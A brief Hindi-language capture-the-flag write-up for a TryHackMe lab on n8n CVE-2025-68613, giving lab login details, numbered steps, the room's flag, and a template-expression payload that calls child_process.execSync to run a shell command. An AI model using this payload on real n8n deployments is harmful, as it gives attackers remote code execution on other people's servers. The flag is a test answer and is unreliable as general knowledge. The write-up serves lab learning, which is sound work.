TryHackMe रूम: n8n: CVE-2025-68613

खिलाड़ी: J4ck3LSyN

होस्ट: ...

उपयोगकर्ता नाम: [email protected]

पासवर्ड: Try12345!

कार्यप्रणाली

पेलोड: {{ (function(){ return this.process.mainModule.require('child_process').execSync('cat flag.txt').toString() })() }} पेलोड 2: {{ (function(){ return this.process.mainModule.require('child_process').execSync('cat flag.txt').toString() })() }}

1. अटैक बॉक्स तक पहुँचें।
2. Start New
3. Add First Step चुनें, दाईं ओर की साइडबार खुलने दें और Manual Trigger जोड़ें।
4. इसके बाद Set Fields विकल्प जोड़ें।
5. फ़ील्ड का नाम pwn और पेलोड जोड़ें।
6. निष्पादित करें और pwn करें।
7. पेलोड बदलकर cat flag.txt निष्पादित करें - फ़्लैग: THM{n8n_exposed_workflow}